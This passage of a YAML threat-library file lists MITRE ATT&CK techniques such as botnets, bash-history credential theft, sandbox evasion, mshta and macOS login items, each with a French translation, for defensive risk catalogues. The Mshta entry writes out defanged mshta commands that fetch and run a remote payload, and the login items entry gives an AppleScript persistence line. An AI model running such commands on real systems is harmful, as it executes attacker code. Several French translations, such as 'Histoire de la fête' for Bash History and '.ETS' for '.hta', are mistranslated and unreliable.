          \ tiers pour former un botnet qui peut \xEAtre utilis\xE9 lors du ciblage.\
          \ Un botnet est un r\xE9seau de syst\xE8mes compromis qui peuvent \xEAtre\
          \ charg\xE9s d\u2019effectuer des t\xE2ches coordonn\xE9es. (R\xE9f\xE9\
          rence : Norton Botnet) Au lieu d\u2019acheter/louer un botnet aupr\xE8s\
          \ d\u2019un service de d\xE9marrage/stresseur, les adversaires peuvent cr\xE9\
          er leur propre botnet en compromettant de nombreux syst\xE8mes tiers. (Citation\
          \ : Imperva DDoS \xE0 louer) Les adversaires peuvent \xE9galement prendre\
          \ le contr\xF4le d\u2019un botnet existant, par exemple en redirigeant les\
          \ bots vers des serveurs C2 contr\xF4l\xE9s par l\u2019adversaire. (Citation\
          \ : Dell Dridex octobre 2015) Lorsqu\u2019ils disposent d\u2019un botnet,\
          \ les adversaires peuvent effectuer des activit\xE9s de suivi telles que\
          \ le [phishing](https://attack.mitre.org/techniques/T1566) ou le d\xE9ni\
          \ de service distribu\xE9 (DDoS) \xE0 grande \xE9chelle.\nhttps://attack.mitre.org/techniques/T1584/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.008
    ref_id: T1059.008
    name: Network Device CLI
    description: "Adversaries may abuse scripting or built-in command line interpreters\
      \ (CLI) on network devices to execute malicious command and payloads. The CLI\
      \ is the primary means through which users and administrators interact with\
      \ the device in order to view system information, modify device operations,\
      \ or perform diagnostic and administrative functions. CLIs typically contain\
      \ various permission levels required for different commands. \n\nScripting interpreters\
      \ automate tasks and extend functionality beyond the command set included in\
      \ the network OS. The CLI and scripting interpreter are accessible through a\
      \ direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\
      \nAdversaries can use the network CLI to change how network devices behave and\
      \ operate. The CLI may be used to manipulate traffic flows to intercept or manipulate\
      \ data, modify startup configuration parameters to load malicious system software,\
      \ or to disable security features or logging to avoid detection.(Citation: Cisco\
      \ Synful Knock Evolution)\nhttps://attack.mitre.org/techniques/T1059/008"
    translations:
      fr:
        name: "CLI de p\xE9riph\xE9rique r\xE9seau"
        description: "Les adversaires peuvent abuser des scripts ou des interpr\xE9\
          teurs de ligne de commande (CLI) int\xE9gr\xE9s sur les p\xE9riph\xE9riques\
          \ r\xE9seau pour ex\xE9cuter des commandes et des charges utiles malveillantes.\
          \ L\u2019interface de ligne de commande est le principal moyen par lequel\
          \ les utilisateurs et les administrateurs interagissent avec l\u2019appareil\
          \ afin d\u2019afficher des informations syst\xE8me, de modifier le fonctionnement\
          \ de l\u2019appareil ou d\u2019effectuer des fonctions de diagnostic et\
          \ d\u2019administration. Les CLI contiennent g\xE9n\xE9ralement diff\xE9\
          rents niveaux d\u2019autorisation requis pour diff\xE9rentes commandes.\
          \ \n\nLes interpr\xE9teurs de script automatisent les t\xE2ches et \xE9\
          tendent les fonctionnalit\xE9s au-del\xE0 de l\u2019ensemble de commandes\
          \ inclus dans le syst\xE8me d\u2019exploitation r\xE9seau. L\u2019interface\
          \ de ligne de commande et l\u2019interpr\xE9teur de script sont accessibles\
          \ via une connexion directe \xE0 la console ou par des moyens distants,\
          \ tels que telnet ou [SSH](https://attack.mitre.org/techniques/T1021/004).\n\
          \nLes adversaires peuvent utiliser l\u2019interface de ligne de commande\
          \ r\xE9seau pour modifier le comportement et le fonctionnement des p\xE9\
          riph\xE9riques r\xE9seau. L\u2019interface de ligne de commande peut \xEA\
          tre utilis\xE9e pour manipuler les flux de trafic afin d\u2019intercepter\
          \ ou de manipuler des donn\xE9es, modifier les param\xE8tres de configuration\
          \ de d\xE9marrage pour charger des logiciels syst\xE8me malveillants ou\
          \ pour d\xE9sactiver les fonctionnalit\xE9s de s\xE9curit\xE9 ou la journalisation\
          \ afin d\u2019\xE9viter d\u2019\xEAtre d\xE9tect\xE9. (Citation : Cisco\
          \ Synful Knock Evolution)\nhttps://attack.mitre.org/techniques/T1059/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.003
    ref_id: T1552.003
    name: Bash History
    description: "Adversaries may search the bash command history on compromised systems\
      \ for insecurely stored credentials. Bash keeps track of the commands users\
      \ type on the command-line with the \"history\" utility. Once a user logs out,\
      \ the history is flushed to the user\u2019s <code>.bash_history</code> file.\
      \ For each user, this file resides at the same location: <code>~/.bash_history</code>.\
      \ Typically, this file keeps track of the user\u2019s last 500 commands. Users\
      \ often type usernames and passwords on the command-line as parameters to programs,\
      \ which then get saved to this file when they log out. Adversaries can abuse\
      \ this by looking through the file for potential credentials. (Citation: External\
      \ to DA, the OS X Way)\nhttps://attack.mitre.org/techniques/T1552/003"
    translations:
      fr:
        name: "Histoire de la f\xEAte"
        description: "Les adversaires peuvent rechercher dans l\u2019historique des\
          \ commandes bash sur les syst\xE8mes compromis des informations d\u2019\
          identification stock\xE9es de mani\xE8re non s\xE9curis\xE9e. Bash garde\
          \ une trace des commandes que les utilisateurs tapent sur la ligne de commande\
          \ avec l\u2019utilitaire \xAB\_history\_\xBB. Une fois qu\u2019un utilisateur\
          \ se d\xE9connecte, l\u2019historique est vid\xE9 dans le fichier <code>.bash_history</code>\
          \ de l\u2019utilisateur. Pour chaque utilisateur, ce fichier se trouve au\
          \ m\xEAme endroit : <code>~/.bash_history</code>. En r\xE8gle g\xE9n\xE9\
          rale, ce fichier garde une trace des 500 derni\xE8res commandes de l\u2019\
          utilisateur. Les utilisateurs tapent souvent des noms d\u2019utilisateur\
          \ et des mots de passe sur la ligne de commande en tant que param\xE8tres\
          \ des programmes, qui sont ensuite enregistr\xE9s dans ce fichier lorsqu\u2019\
          ils se d\xE9connectent. Les adversaires peuvent en abuser en parcourant\
          \ le fichier \xE0 la recherche d\u2019informations d\u2019identification\
          \ potentielles. (citation : externe \xE0 DA, \xE0 la mani\xE8re d\u2019\
          OS X)\nhttps://attack.mitre.org/techniques/T1552/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.010
    ref_id: T1562.010
    name: Downgrade Attack
    description: "Adversaries may downgrade or use a version of system features that\
      \ may be outdated, vulnerable, and/or does not support updated security controls.\
      \ Downgrade attacks typically take advantage of a system\u2019s backward compatibility\
      \ to force it into less secure modes of operation. \n\nAdversaries may downgrade\
      \ and use various less-secure versions of features of a system, such as [Command\
      \ and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or\
      \ even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
      \ or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation:\
      \ Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ versions 5+ includes Script Block Logging (SBL) which can record executed\
      \ script content. However, adversaries may attempt to execute a previous version\
      \ of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562)\
      \ while running malicious scripts that may have otherwise been detected.(Citation:\
      \ CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\
      \nAdversaries may similarly target network traffic to downgrade from an encrypted\
      \ HTTPS connection to an unsecured HTTP connection that exposes network data\
      \ in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation:\
      \ Crowdstrike Downgrade)\nhttps://attack.mitre.org/techniques/T1562/010"
    translations:
      fr:
        name: "Attaque de r\xE9trogradation"
        description: "Les adversaires peuvent r\xE9trograder ou utiliser une version\
          \ des fonctionnalit\xE9s du syst\xE8me qui peut \xEAtre obsol\xE8te, vuln\xE9\
          rable et/ou ne prenant pas en charge les contr\xF4les de s\xE9curit\xE9\
          \ mis \xE0 jour. Les attaques de r\xE9trogradation tirent g\xE9n\xE9ralement\
          \ parti de la r\xE9trocompatibilit\xE9 d\u2019un syst\xE8me pour le forcer\
          \ \xE0 passer \xE0 des modes de fonctionnement moins s\xE9curis\xE9s. \n\
          \nLes adversaires peuvent r\xE9trograder et utiliser diverses versions moins\
          \ s\xE9curis\xE9es de fonctionnalit\xE9s d\u2019un syst\xE8me, telles que\
          \ [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\
          \ ou m\xEAme des protocoles r\xE9seau qui peuvent \xEAtre utilis\xE9s de\
          \ mani\xE8re abusive pour activer [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ ou [Network Sniffing](https://attack.mitre.org/techniques/T1040). (Citation\
          \ : Attaque pr\xE9torienne de r\xE9trogradation TLS 2014) Par exemple, les\
          \ versions 5+ de [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ incluent la journalisation des blocs de script (SBL) qui peut enregistrer\
          \ le contenu du script ex\xE9cut\xE9. Toutefois, les adversaires peuvent\
          \ tenter d\u2019ex\xE9cuter une version pr\xE9c\xE9dente de PowerShell qui\
          \ ne prend pas en charge SBL dans le but de [Nuire aux d\xE9fenses](https://attack.mitre.org/techniques/T1562)\
          \ tout en ex\xE9cutant des scripts malveillants qui auraient pu \xEAtre\
          \ d\xE9tect\xE9s. (Citation : CrowdStrike BGH Ransomware 2021)(Citation\
          \ : Mandiant BYOL 2018)(R\xE9f\xE9rence : att_def_ps_logging)\n\nDe la m\xEA\
          me mani\xE8re, les adversaires peuvent cibler le trafic r\xE9seau pour passer\
          \ d\u2019une connexion HTTPS chiffr\xE9e \xE0 une connexion HTTP non s\xE9\
          curis\xE9e qui expose les donn\xE9es r\xE9seau en texte clair. (citation\
          \ : les attaques cibl\xE9es de stripping SSL sont r\xE9elles)(Citation :\
          \ Crowdstrike Downgrade)\nhttps://attack.mitre.org/techniques/T1562/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1559.003
    ref_id: T1559.003
    name: XPC Services
    description: 'Adversaries can provide malicious content to an XPC service daemon
      for local code execution. macOS uses XPC services for basic inter-process communication
      between various processes, such as between the XPC Service daemon and third-party
      application privileged helper tools. Applications can send messages to the XPC
      Service daemon, which runs as root, using the low-level XPC Service <code>C
      API</code> or the high level <code>NSXPCConnection API</code> in order to handle
      tasks that require elevated privileges (such as network connections). Applications
      are responsible for providing the protocol definition which serves as a blueprint
      of the XPC services. Developers typically use XPC Services to provide applications
      stability and privilege separation between the application client and the daemon.(Citation:
      creatingXPCservices)(Citation: Designing Daemons Apple Dev)


      Adversaries can abuse XPC services to execute malicious content. Requests for
      malicious execution can be passed through the application''s XPC Services handler.(Citation:
      CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying
      and abusing improper XPC client validation and/or poor sanitization of input
      parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

      https://attack.mitre.org/techniques/T1559/003'
    translations:
      fr:
        name: XPC Services
        description: "Les adversaires peuvent fournir du contenu malveillant \xE0\
          \ un d\xE9mon de service XPC pour l\u2019ex\xE9cution de code local. macOS\
          \ utilise les services XPC pour la communication interprocessus de base\
          \ entre diff\xE9rents processus, par exemple entre le d\xE9mon de service\
          \ XPC et les outils d\u2019assistance privil\xE9gi\xE9s d\u2019applications\
          \ tierces. Les applications peuvent envoyer des messages au d\xE9mon de\
          \ service XPC, qui s\u2019ex\xE9cute en tant qu\u2019utilisateur root, \xE0\
          \ l\u2019aide de <code>l\u2019API C</code> de service XPC de bas niveau\
          \ ou de l\u2019API <code>NSXPCConnection</code> de haut niveau afin de g\xE9\
          rer des t\xE2ches n\xE9cessitant des privil\xE8ges \xE9lev\xE9s (telles\
          \ que les connexions r\xE9seau). Les applications sont charg\xE9es de fournir\
          \ la d\xE9finition du protocole qui sert de mod\xE8le pour les services\
          \ XPC. Les d\xE9veloppeurs utilisent g\xE9n\xE9ralement les services XPC\
          \ pour assurer la stabilit\xE9 des applications et la s\xE9paration des\
          \ privil\xE8ges entre le client de l\u2019application et le d\xE9mon. (Citation\
          \ : creatingXPCservices)(Citation : Concevoir des d\xE9mons Apple Dev)\n\
          \nLes adversaires peuvent abuser des services XPC pour ex\xE9cuter du contenu\
          \ malveillant. Les demandes d\u2019ex\xE9cution malveillante peuvent \xEA\
          tre transmises via le gestionnaire XPC Services de l\u2019application. (Citation\
          \ : CVMServer Vuln)(citation : Apprendre l\u2019exploitation XPC) Cela peut\
          \ \xE9galement inclure l\u2019identification et l\u2019utilisation abusive\
          \ d\u2019une validation incorrecte du client XPC et/ou d\u2019un nettoyage\
          \ m\xE9diocre des param\xE8tres d\u2019entr\xE9e pour effectuer [l\u2019\
          exploitation \xE0 des fins d\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068).\n\
          https://attack.mitre.org/techniques/T1559/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1497
    ref_id: T1497
    name: Virtualization/Sandbox Evasion
    description: 'Adversaries may employ various means to detect and avoid virtualization
      and analysis environments. This may include changing behaviors based on the
      results of checks for the presence of artifacts indicative of a virtual machine
      environment (VME) or sandbox. If the adversary detects a VME, they may alter
      their malware to disengage from the victim or conceal the core functions of
      the implant. They may also search for VME artifacts before dropping secondary
      or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox
      Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery
      to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


      Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
      such as checking for security monitoring tools (e.g., Sysinternals, Wireshark,
      etc.) or other system artifacts associated with analysis or virtualization.
      Adversaries may also check for legitimate user activity to help determine if
      it is in an analysis environment. Additional methods include use of sleep timers
      or loops within malware code to avoid operating within a temporary sandbox.(Citation:
      Unit 42 Pirpi July 2015)

      https://attack.mitre.org/techniques/T1497'
    translations:
      fr:
        name: "Virtualisation/\xC9vasion du bac \xE0 sable"
        description: "Les adversaires peuvent utiliser divers moyens pour d\xE9tecter\
          \ et \xE9viter les environnements de virtualisation et d\u2019analyse. Il\
          \ peut s\u2019agir de modifier les comportements en fonction des r\xE9sultats\
          \ des v\xE9rifications de la pr\xE9sence d\u2019artefacts indiquant un environnement\
          \ de machine virtuelle (VME) ou un bac \xE0 sable. Si l\u2019adversaire\
          \ d\xE9tecte un VME, il peut modifier son logiciel malveillant pour se d\xE9\
          sengager de la victime ou dissimuler les fonctions essentielles de l\u2019\
          implant. Ils peuvent \xE9galement rechercher des artefacts VME avant de\
          \ supprimer des charges utiles secondaires ou suppl\xE9mentaires. Les adversaires\
          \ peuvent utiliser les informations apprises gr\xE2ce \xE0 la [virtualisation/\xE9\
          vasion du bac \xE0 sable](https://attack.mitre.org/techniques/T1497) lors\
          \ de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs. (Citation : Sensibilisation \xE0 l\u2019environnement de\
          \ Deloitte)\n\nLes adversaires peuvent utiliser plusieurs m\xE9thodes pour\
          \ effectuer la [virtualisation/\xE9vasion du bac \xE0 sable](https://attack.mitre.org/techniques/T1497),\
          \ telles que la recherche d\u2019outils de surveillance de la s\xE9curit\xE9\
          \ (par exemple, Sysinternals, Wireshark, etc.) ou d\u2019autres artefacts\
          \ syst\xE8me associ\xE9s \xE0 l\u2019analyse ou \xE0 la virtualisation.\
          \ Les adversaires peuvent \xE9galement v\xE9rifier l\u2019activit\xE9 l\xE9\
          gitime d\u2019un utilisateur pour d\xE9terminer s\u2019il se trouve dans\
          \ un environnement d\u2019analyse. D\u2019autres m\xE9thodes incluent l\u2019\
          utilisation de minuteries de mise en veille ou de boucles dans le code malveillant\
          \ pour \xE9viter de fonctionner dans un bac \xE0 sable temporaire. (R\xE9\
          f\xE9rence : Unit\xE9 42 Pirpi juillet 2015)\nhttps://attack.mitre.org/techniques/T1497"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1102
    ref_id: T1102
    name: Web Service
    description: 'Adversaries may use an existing, legitimate external Web service
      as a means for relaying data to/from a compromised system. Popular websites,
      cloud services, and social media acting as a mechanism for C2 may give a significant
      amount of cover due to the likelihood that hosts within a network are already
      communicating with them prior to a compromise. Using common services, such as
      those offered by Google, Microsoft, or Twitter, makes it easier for adversaries
      to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API
      2024) Web service providers commonly use SSL/TLS encryption, giving adversaries
      an added level of protection.


      Use of Web services may also protect back-end C2 infrastructure from discovery
      through malware binary analysis while also enabling operational resiliency (since
      this infrastructure may be dynamically changed).

      https://attack.mitre.org/techniques/T1102'
    translations:
      fr:
        name: Service web
        description: "Les adversaires peuvent utiliser un service Web externe l\xE9\
          gitime existant comme moyen de relayer des donn\xE9es vers/depuis un syst\xE8\
          me compromis. Les sites Web populaires, les services cloud et les m\xE9\
          dias sociaux agissant comme un m\xE9canisme pour C2 peuvent fournir une\
          \ couverture importante en raison de la probabilit\xE9 que les h\xF4tes\
          \ d\u2019un r\xE9seau communiquent d\xE9j\xE0 avec eux avant une compromission.\
          \ L\u2019utilisation de services courants, tels que ceux propos\xE9s par\
          \ Google, Microsoft ou Twitter, permet aux adversaires de se cacher plus\
          \ facilement dans le bruit attendu. (Citation : Broadcom BirdyClient Microsoft\
          \ Graph API 2024) Les fournisseurs de services Web utilisent g\xE9n\xE9\
          ralement le cryptage SSL/TLS, ce qui offre aux adversaires un niveau de\
          \ protection suppl\xE9mentaire.\n\nL\u2019utilisation de services Web peut\
          \ \xE9galement prot\xE9ger l\u2019infrastructure C2 back-end contre la d\xE9\
          couverte par l\u2019analyse binaire des logiciels malveillants, tout en\
          \ permettant la r\xE9silience op\xE9rationnelle (puisque cette infrastructure\
          \ peut \xEAtre modifi\xE9e de mani\xE8re dynamique).\nhttps://attack.mitre.org/techniques/T1102"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.001
    ref_id: T1552.001
    name: Credentials In Files
    description: 'Adversaries may search local file systems and remote file shares
      for files containing insecurely stored credentials. These can be files created
      by users to store their own credentials, shared credential stores for a group
      of individuals, configuration files containing passwords for a system or service,
      or source code/binary files containing embedded passwords.


      It is possible to extract passwords from backups or saved virtual machines through
      [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation:
      CG 2014) Passwords may also be obtained from Group Policy Preferences stored
      on the Windows Domain Controller.(Citation: SRD GPP)


      In cloud and/or containerized environments, authenticated user and service account
      credentials are often stored in local configuration and credential files.(Citation:
      Unit 42 Hildegard Malware) They may also be found as parameters to deployment
      commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some
      cases, these files can be copied and reused on another machine or the contents
      can be read and then used to authenticate without needing to copy any files.(Citation:
      Specter Ops - Cloud Credential Storage)

      https://attack.mitre.org/techniques/T1552/001'
    translations:
      fr:
        name: "Informations d\u2019identification dans les fichiers"
        description: "Les adversaires peuvent rechercher dans les syst\xE8mes de fichiers\
          \ locaux et les partages de fichiers distants des fichiers contenant des\
          \ informations d\u2019identification stock\xE9es de mani\xE8re non s\xE9\
          curis\xE9e. Il peut s\u2019agir de fichiers cr\xE9\xE9s par les utilisateurs\
          \ pour stocker leurs propres informations d\u2019identification, de magasins\
          \ d\u2019informations d\u2019identification partag\xE9s pour un groupe d\u2019\
          individus, de fichiers de configuration contenant des mots de passe pour\
          \ un syst\xE8me ou un service, ou de fichiers de code source/binaires contenant\
          \ des mots de passe int\xE9gr\xE9s.\n\nIl est possible d\u2019extraire des\
          \ mots de passe \xE0 partir de sauvegardes ou de machines virtuelles enregistr\xE9\
          es via [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).\
          \ (Citation : CG 2014) Les mots de passe peuvent \xE9galement \xEAtre obtenus\
          \ \xE0 partir des pr\xE9f\xE9rences de strat\xE9gie de groupe stock\xE9\
          es sur le contr\xF4leur de domaine Windows. (R\xE9f\xE9rence : SRD GPP)\n\
          \nDans les environnements cloud et/ou conteneuris\xE9s, les informations\
          \ d\u2019identification des comptes d\u2019utilisateur et de service authentifi\xE9\
          s sont souvent stock\xE9es dans des fichiers de configuration et d\u2019\
          informations d\u2019identification locaux. (Citation : Unit\xE9 42 Hildegard\
          \ Malware) Ils peuvent \xE9galement \xEAtre trouv\xE9s en tant que param\xE8\
          tres des commandes de d\xE9ploiement dans les journaux de conteneur. (Citation\
          \ : Unit\xE9 42 Daemons Docker non s\xE9curis\xE9s) Dans certains cas, ces\
          \ fichiers peuvent \xEAtre copi\xE9s et r\xE9utilis\xE9s sur une autre machine\
          \ ou le contenu peut \xEAtre lu puis utilis\xE9 pour s\u2019authentifier\
          \ sans avoir besoin de copier de fichiers. (Citation : Specter Ops - Stockage\
          \ d\u2019informations d\u2019identification dans le cloud)\nhttps://attack.mitre.org/techniques/T1552/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1568.003
    ref_id: T1568.003
    name: DNS Calculation
    description: 'Adversaries may perform calculations on addresses returned in DNS
      results to determine which port and IP address to use for command and control,
      rather than relying on a predetermined port number or the actual returned IP
      address. A IP and/or port number calculation can be used to bypass egress filtering
      on a C2 channel.(Citation: Meyers Numbered Panda)


      One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003)
      is to take the first three octets of an IP address in a DNS response and use
      those values to calculate the port for command and control traffic.(Citation:
      Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)

      https://attack.mitre.org/techniques/T1568/003'
    translations:
      fr:
        name: Calcul DNS
        description: "Les adversaires peuvent effectuer des calculs sur les adresses\
          \ renvoy\xE9es dans les r\xE9sultats DNS pour d\xE9terminer le port et l\u2019\
          adresse IP \xE0 utiliser pour la commande et le contr\xF4le, plut\xF4t que\
          \ de se fier \xE0 un num\xE9ro de port pr\xE9d\xE9termin\xE9 ou \xE0 l\u2019\
          adresse IP renvoy\xE9e r\xE9elle. Un calcul d\u2019adresse IP et/ou de num\xE9\
          ro de port peut \xEAtre utilis\xE9 pour contourner le filtrage de sortie\
          \ sur un canal C2. (Citation : Panda num\xE9rot\xE9 de Meyers)\n\nL\u2019\
          une des impl\xE9mentations de [DNS Calculation](https://attack.mitre.org/techniques/T1568/003)\
          \ consiste \xE0 prendre les trois premiers octets d\u2019une adresse IP\
          \ dans une r\xE9ponse DNS et \xE0 utiliser ces valeurs pour calculer le\
          \ port pour le trafic de commande et de contr\xF4le. (Citation : Panda num\xE9\
          rot\xE9 de Meyers)(Citation : Moran 2014)(Citation : Rapid7G20Espionage)\n\
          https://attack.mitre.org/techniques/T1568/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.005
    ref_id: T1218.005
    name: Mshta
    description: "Adversaries may abuse mshta.exe to proxy execution of malicious\
      \ .hta files and Javascript or VBScript through a trusted Windows utility. There\
      \ are several examples of different types of threats leveraging mshta.exe during\
      \ initial compromise and for execution of code (Citation: Cylance Dust Storm)\
      \ (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging\
      \ HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April\
      \ 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications\
      \ (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications\
      \ that execute using the same models and technologies of Internet Explorer,\
      \ but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may\
      \ be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"\
      GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey\
      \ may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\
      \nMshta.exe can be used to bypass application control solutions that do not\
      \ account for its potential use. Since mshta.exe executes outside of the Internet\
      \ Explorer's security context, it also bypasses browser security settings. (Citation:\
      \ LOLBAS Mshta)\nhttps://attack.mitre.org/techniques/T1218/005"
    translations:
      fr:
        name: Mshta
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution mshta.exe\
          \ proxy de fichiers .hta malveillants et de Javascript ou VBScript via un\
          \ utilitaire Windows de confiance. Il existe plusieurs exemples de diff\xE9\
          rents types de menaces exploitant mshta.exe lors de la compromission initiale\
          \ et pour l\u2019ex\xE9cution du code (Citation : Cylance Dust Storm) (Citation\
          \ : Red Canary HTA Abuse Part Deux) (Citation : FireEye Attacks Leveraging\
          \ HTA) (Citation : Airbus Security Kovter Analysis) (Citation : FireEye\
          \ FIN7 avril 2017) \n\nMshta.exe est un utilitaire qui ex\xE9cute des fichiers\
          \ Microsoft HTML Applications (HTA). (citation : application HTML de Wikip\xE9\
          dia) Les HTA sont des applications autonomes qui s\u2019ex\xE9cutent \xE0\
          \ l\u2019aide des m\xEAmes mod\xE8les et technologies qu\u2019Internet Explorer,\
          \ mais en dehors du navigateur. (Citation : Applications HTML MSDN)\n\n\
          Les fichiers peuvent \xEAtre ex\xE9cut\xE9s par mshta.exe via un script\
          \ en ligne : <code>mshta vbscript\_:Close(Execute(\xAB\_GetObject(\xAB\_\
          \"script\_:https[\_:]//webserver/payload[.]sct\"\_\xBB)\_\xBB))</code>\n\
          \nIls peuvent \xE9galement \xEAtre ex\xE9cut\xE9s directement \xE0 partir\
          \ d\u2019URL : <code>mshta http[\_:]//webserver/payload[.]ETS</code>\n\n\
          Mshta.exe peuvent \xEAtre utilis\xE9s pour contourner les solutions de contr\xF4\
          le d\u2019application qui ne tiennent pas compte de son utilisation potentielle.\
          \ \xC9tant donn\xE9 que mshta.exe s\u2019ex\xE9cute en dehors du contexte\
          \ de s\xE9curit\xE9 d\u2019Internet Explorer, il contourne \xE9galement\
          \ les param\xE8tres de s\xE9curit\xE9 du navigateur. (Citation : LOLBAS\
          \ Mshta)\nhttps://attack.mitre.org/techniques/T1218/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.015
    ref_id: T1547.015
    name: Login Items
    description: "Adversaries may add login items to execute upon user login to gain\
      \ persistence or escalate privileges. Login items are applications, documents,\
      \ folders, or server connections that are automatically launched when a user\
      \ logs in.(Citation: Open Login Items Apple) Login items can be added via a\
      \ shared file list or Service Management Framework.(Citation: Adding Login Items)\
      \ Shared file list login items can be set using scripting languages such as\
      \ [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the\
      \ Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\
      \nLogin items installed using the Service Management Framework leverage <code>launchd</code>,\
      \ are not visible in the System Preferences, and can only be removed by the\
      \ application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled\
      \ Schroeder 2013) Login items created using a shared file list are visible in\
      \ System Preferences, can hide the application when it launches, and are executed\
      \ through LaunchServices, not launchd, to open applications, documents, or URLs\
      \ without using Finder.(Citation: Launch Services Apple Developer) Users and\
      \ applications use login items to configure their user environment to launch\
      \ commonly used services or applications, such as email, chat, and music applications.\n\
      \nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
      \ and [Native API](https://attack.mitre.org/techniques/T1106) calls to create\
      \ a login item to spawn malicious executables.(Citation: ELC Running at startup)\
      \ Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
      \ to send an Apple events to the \u201CSystem Events\u201D process, which has\
      \ an AppleScript dictionary for manipulating login items.(Citation: Login Items\
      \ AE) Adversaries can use a command such as <code>tell application \u201CSystem\
      \ Events\u201D to make login item at end with properties /path/to/executable</code>.(Citation:\
      \ Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add\
      \ List Remove Login Items Apple Script) This command adds the path of the malicious\
      \ executable to the login item file list located in <code>~/Library/Application\
      \ Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation:\
      \ Startup Items Eclectic) Adversaries can also use login items to launch executables\
      \ that can be used to control the victim system remotely or as a means to gain\
      \ privilege escalation by prompting for user credentials.(Citation: objsee mac\
      \ malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor\
      \ 2019)\nhttps://attack.mitre.org/techniques/T1547/015"
    translations:
      fr:
        name: "\xC9l\xE9ments de connexion"
        description: "Les adversaires peuvent ajouter des \xE9l\xE9ments de connexion\
          \ \xE0 ex\xE9cuter lors de la connexion de l\u2019utilisateur afin d\u2019\
          obtenir la persistance ou d\u2019\xE9lever les privil\xE8ges. Les \xE9l\xE9\
          ments de connexion sont des applications, des documents, des dossiers ou\
          \ des connexions serveur qui sont lanc\xE9s automatiquement lorsqu\u2019\
          un utilisateur se connecte. (Citation : Ouvrir les \xE9l\xE9ments de connexion\
          \ Apple) Les \xE9l\xE9ments de connexion peuvent \xEAtre ajout\xE9s via\
          \ une liste de fichiers partag\xE9s ou Service Management Framework. (citation\
          \ : Ajout d\u2019\xE9l\xE9ments de connexion) Les \xE9l\xE9ments de connexion\
          \ \xE0 la liste de fichiers partag\xE9s peuvent \xEAtre d\xE9finis \xE0\
          \ l\u2019aide de langages de script tels que [AppleScript](https://attack.mitre.org/techniques/T1059/002),\
          \ tandis que Service Management Framework utilise l\u2019appel d\u2019API\
          \ <code>SMLoginItemSetEnabled</code>.\n\nLes \xE9l\xE9ments de connexion\
          \ install\xE9s \xE0 l\u2019aide de l\u2019outil de levier Service Management\
          \ Framework <code>lanc\xE9</code> ne sont pas visibles dans les Pr\xE9f\xE9\
          rences Syst\xE8me et ne peuvent \xEAtre supprim\xE9s que par l\u2019application\
          \ qui les a cr\xE9\xE9s. (citation : Ajout d\u2019\xE9l\xE9ments de connexion)(Citation\
          \ : SMLoginItemSetEnabled Schroeder 2013) Les \xE9l\xE9ments de connexion\
          \ cr\xE9\xE9s \xE0 l\u2019aide d\u2019une liste de fichiers partag\xE9s\
          \ sont visibles dans les Pr\xE9f\xE9rences Syst\xE8me, peuvent masquer l\u2019\
          application lors de son lancement et sont ex\xE9cut\xE9s via LaunchServices,\
          \ et non lanc\xE9s, pour ouvrir des applications, des documents ou des URL\
          \ sans utiliser le Finder. (Citation\_: Lancement des services Apple Developer)\
          \ Les utilisateurs et les applications utilisent des \xE9l\xE9ments de connexion\
